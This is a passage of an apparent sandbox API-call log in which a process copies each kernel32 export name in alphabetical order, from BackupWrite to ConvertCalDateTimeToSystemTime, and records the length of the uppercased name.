lpString1=0x2e7eb60, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.291] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.291] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.291] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.291] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.291] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.291] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.291] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.291] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.292] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.292] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.292] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.292] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.292] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.292] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.292] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.292] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.292] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.292] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.292] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.292] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.292] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.292] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.292] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.292] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.292] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.292] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.292] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.292] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.293] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.293] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.293] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.293] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.293] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.293] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.293] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.293] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.293] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.293] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.293] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.293] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.293] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.293] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.293] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.293] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.293] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.293] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.293] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.293] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.293] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.294] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.294] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.294] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.294] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.294] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.294] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.294] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.294] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.294] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.294] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.294] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.294] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.294] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.294] lstrlenA (lpString="BEEP") returned 4 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.294] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.294] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.294] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.294] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.294] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.294] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.294] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.295] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.295] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.295] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.295] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.295] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.295] lstrlenA (lpString="CANCELIO") returned 8 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.295] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.295] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.295] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.295] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.295] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.295] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.295] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.295] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.295] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.295] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.295] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.295] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.295] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.295] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.295] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.296] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.296] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.296] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.296] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.296] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.296] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.296] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.296] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.296] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.296] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.296] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.296] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.296] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.296] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.296] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.296] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.296] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.297] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.297] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.297] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.297] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.297] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.297] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.297] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.297] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.297] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.297] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") 